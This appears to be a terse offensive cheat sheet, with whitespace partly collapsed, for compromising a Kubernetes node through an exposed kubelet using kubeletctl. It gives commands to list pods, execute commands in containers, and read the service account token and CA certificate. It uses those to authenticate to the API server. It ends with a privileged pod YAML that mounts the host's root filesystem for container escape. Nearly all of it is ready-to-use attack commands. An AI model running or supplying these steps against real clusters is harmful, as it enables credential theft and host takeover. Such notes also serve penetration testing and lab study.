## ------------------| list all the pods on the nodekubeletctlpods-s<IP>## ------------------| list all the running podskubeletctlrunningpods-s<IP>kubeletctlrunningpods-s<IP>|jq-c'.items[].metadata | [.name, .namespace]'## Check what's not in the kube-system namespace## ------------------| Execute commandskubeletctl-s<IP>exec"id"-p<PodName>-c<ContainerName>## ------------------| Auth to Kubernetes API# /run/secrets/kubernetes.io/serviceaccount# /var/run/secrets/kubernetes.io/serviceaccount# /secrets/kubernetes.io/serviceaccoutkubeletctl -s <IP> exec "ls /run/secrets/kubernetes.io/serviceaccount" -p <PodName> -c <ContainerName>
kubeletctl -s <IP> exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <PodName> -c <ContainerName> | tee ca.crt
kubeletctl -s <IP> exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p <PodName> -c <ContainerName> | tee token
kubectl--server<IP>--certificate-authority=ca.crt--token=$(cat token)getpod
Create root pod
## ------------------| YAML skeletonapiVersion:v1kind:Podmetadata:name:h4rithdnamespace:defaultspec:containers:-name:h4rithdimage:nginx:1.14.2# Use this to get the version: kubectl get pod nginx -o yaml --server <IP> volumeMounts:-mountPath:/mntname:hostfsvolumes:-name:hostfshostPath:path:/automountServiceAccountToken:truehostNetwork:true## ------------------| Start the podkubectlapply-fskeleton.yaml--server<IP>kubeletctlexec"ls /mnt/"-s<IP>-ph4rithd-ch4rithd